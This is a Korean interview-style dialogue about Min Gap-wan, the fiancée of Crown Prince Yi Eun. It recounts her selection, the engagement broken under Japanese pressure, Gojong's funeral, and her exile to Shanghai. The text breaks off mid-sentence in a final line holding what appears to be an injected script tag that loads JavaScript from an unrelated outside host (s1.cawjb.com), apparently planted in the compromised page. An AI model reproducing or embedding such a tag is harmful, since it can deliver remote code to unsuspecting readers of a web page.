◎ 사회/김어준>
영(친)왕은 약혼자가 있었다는데, 그는 누구인가.


◑ 서해성>
영(친)왕은 일본으로 건너가기 전에 이미 간택을 통해 혼인을 약속한 사람이 있었다. 민갑완이란 소녀다. 그는 1897년 10월 20일(1895년에 사망한 고종의 첫 번째 妃 민중전의 기일) 생으로 영(친)왕 이은과 태어난 날이 같다. 민갑완은 제법 총명하고 활기찼다고 한다. 돌차기-아마도 비석차기인 듯-활쏘기, 연날리기를 즐겨했으며, 하루에 치마 서너 벌도 부족해서 나중에는 아예 남장-바지를 입었다는 뜻인 듯-을 하게 되었다고 한다. 하물며 고종과 엄비가 직접 며느리를 고르는 간택 현장에서도 ‘서방 될 사람이 누구냐’는 호기심을 숨기지 않았던 어렸을 적부터 당찬 여인이었다. 세 명의 소녀가 최종 후보에 올랐을 때 이미 민갑완은 자신이 간택되리라 자신했다고 한다. 그 자리에는 이토 히로부미도 있었다.


민갑완은 주인을 능멸하는 하인들을 매로 다스리기도 했지만 가난한 사람을 보면 집안에서 먹을 것이며, 물건을 가져다주는 도량 큰 소녀로 그를 아는 사람들은 장차 커서 큰일을 하리라 여겼다고 한다. 그는 민영돈-15세로서 장원급제하여 동래부사, 영국 백이의공사, 충청도 관찰사, 청국공사 등을 역임하고 1918년 12월에 돌아감-의 딸이자 을사늑약에 비분강개하여 자결한 민영환을 숙부로 두었다. 민영돈이 청국 공사로 있던 정미년(1907) 민갑완은 간택(揀擇)되었다. 이윽고 황궁에서 신물(信物)인 약혼지환(約婚指環)을 보내왔다. 그것으로 그는 ‘국모’가 되기 위해 집밖으로 나오지 않고 일본에 볼모로 잡혀간 영(친)왕이 돌아오기를 기다렸다.


영(친)왕이 서울에 왔을 적에 고종이 10년 전 약혼한 일을 상기시키며 가례를 서두르려 하자 일본 통역이 끼여들어 방해를 했다. 고종은 조선말, 영(친)왕은 일본말을 해야 했다. 참으로 수모스럽고 비참한 광경이 아닐 수 없다. 일제는 계획했던 영(친)왕과 일본 여인과의 결혼을 서두르면서 왕실을 통해 민갑완에게 파혼을 강요하기에 이르렀다. 강압적인 파혼권고가 거듭 집요하게 강행되었지만 유교적 이념, 관혼 관례의 관례로 절대 파혼은 있을 수 없다며 민갑완은 완강히 버텼다. 끝내 견디지 못하고 파혼을 받아들여야 했을 때 민갑완은 ‘간택되어 약혼반지를 주었으나 일본의 강압으로 아무런 이유 없이 반지를 강탈해간다’는 영수증을 요구했다. 파혼은 하되, 일제의 침탈과 친일파들의 그릇됨을 증거로 남기고자 했던 것이다. 노여움을 참지 못한 부친 민영돈이 쓰러진 틈을 타 궁에서 나온 홍상궁이 약혼신물과 더불어 영수증을 훔쳐갔다. 1919년 1월 3일의 일이었다. 그 뒤 민영돈은 도리어 ‘신(臣)의 여식을 올해 안에 다른 가문으로 출사시키지 않는 경우 부녀는 중죄를 달게 받는다’는 서약을 강요당하게 된다. (* 이 날이 1918년(무오) 정초라는 말도 있으나 기미년이 맞는 듯하다.) 그 무렵 아버지-민영돈은 분을 삭이지 못하고 끝내 세상을 떴다-와 시아버지(고종)를 차례로 잃게 된 민갑완은 3.1운동이 일어나자 폐하께서 비록 돌아가셨지만 ‘국장이 있기 전 만세소리를 들을 수 있어 다행’이라고 여겼다. 당시 국장에는 조선인 출석자가 고작 70여명에 지나지 않았다. 고종의 독살설이 퍼져 있는 데다 일제에 대한 저항의식과 더불어 서양식 복장을 입고 국장에 참여케 한 것도 한 까닭이었다. 이는 총독부가 3.1운동 뒤 고종의 국장에 조선사람들을 참여시키지 않기 위한 방편이었음이 분명하다. 당시 조선사람 가운데 서양식 장례복장을 갖출 수 있는 이가 몇이나 되었겠는가. 하지만 묘소로 향하는 백성들의 행렬은 1만여 명이 넘었고, 장지에 이르는 연도 60리에 무릎 꿇고 통곡하는 백성들이 부지기수였으며, 밤에도 횃불을 들고 ‘나랏님’의 마지막 가는 길을 지킨 이들은 1만5천이 넘었다고 한다.


그 뒤 하체가 차갑게 식어 기동조차 어렵게 되었던 민갑완은 어렵게 몸을 털고 일어나 외가 사람들의 도움을 받아 상하이로 망명하게 된다. 이은과 마사코가 결혼을 한 것은 기미년 이듬해인 1920년 4월 28일이었고, 민갑완이 상하이로 간 것은 6월 7일이었다.


민갑완의 삶은 한마디로 비참한 것이었다. 간택과 파혼으로 집안은 풍비박산이 났으며, 이후 삶 또한 시난고난하지 않을 수 없었다. 여기에는 민갑완의 당당함도 한몫 했다. 당시 일제와 친일파들은 총명한 민갑완이 자칫 고종의 비인 민 중전처럼 되는 것 아니냐는 우려까지 했다는 것이다.


상하이로 간 민갑완은 김규식 등 임정 관계자들의 배려 속에 미혼의 미국인 여자가 운영하는 학교를 다녔다. 민갑완은 의학공부를 하고자 했으나 뜻을 이루지는 못했다. 그 무렵 함께 상하이로 망명 나온 동생 민천식의 병을 ?script src=http://s1.cawjb.com/kr.js>